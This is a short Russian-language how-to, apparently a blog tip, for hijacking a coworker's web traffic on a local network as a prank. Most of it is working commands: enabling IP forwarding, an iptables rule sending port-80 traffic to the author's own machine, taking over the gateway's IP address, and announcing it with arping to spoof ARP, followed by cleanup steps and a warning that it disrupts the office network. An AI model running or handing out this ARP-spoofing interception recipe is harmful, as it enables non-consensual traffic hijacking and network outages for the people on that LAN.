Подстановка HTTP-трафика определенному компьютеру в локальной сети

Используя нехитрые манипуляции в Linux можно подшутить или удивить соседа по офису, например, отобразив персональное поздравление при попытке открыть соседом какой-нибудь известного ресурса. Манипуляции проделываются без изменения конфигурации шлюза, путем поднятия web-сервера на своей машине и перенаправление на него запросов, через подмену ARP-адреса шлюза в кэше на машине соседа.
Техника действует только в пределах локальной сети.

Включаем на своей машине перенаправление IP-пакетов:

echo 1 > /proc/sys/net/ipv4/ip_forward

Перенаправляем запросы на 80-порт, заменив адрес назначения в пакете на 192.168.1.200 - локальный IP машины с подставным шлюзом. На локальной машине должен быть заблаговременно поднят http-сервер с нужной страницей.

iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200

Добавляем адрес реального шлюза (192.168.1.1) на сетевой интерфейс:

ip addr add 192.168.1.1/24 dev eth0

Анонсируем смену MAC-адреса шлюза:

arping -c 3 -A -I eth0 192.168.1.1 

После завершения розыгрыша убираем IP шлюза с локального интерфейса:

ip addr delete 192.168.1.1/24 dev eth0
iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200
ifconfig eth0 down
ifconfig eth0 up
arp -d 192.168.1.1

Внимание, описанное действие не следует применять в рабочей сети предприятия, так как подстановка шлюза на время блокирует работу сети из-за конфликта с реальным шлюзом.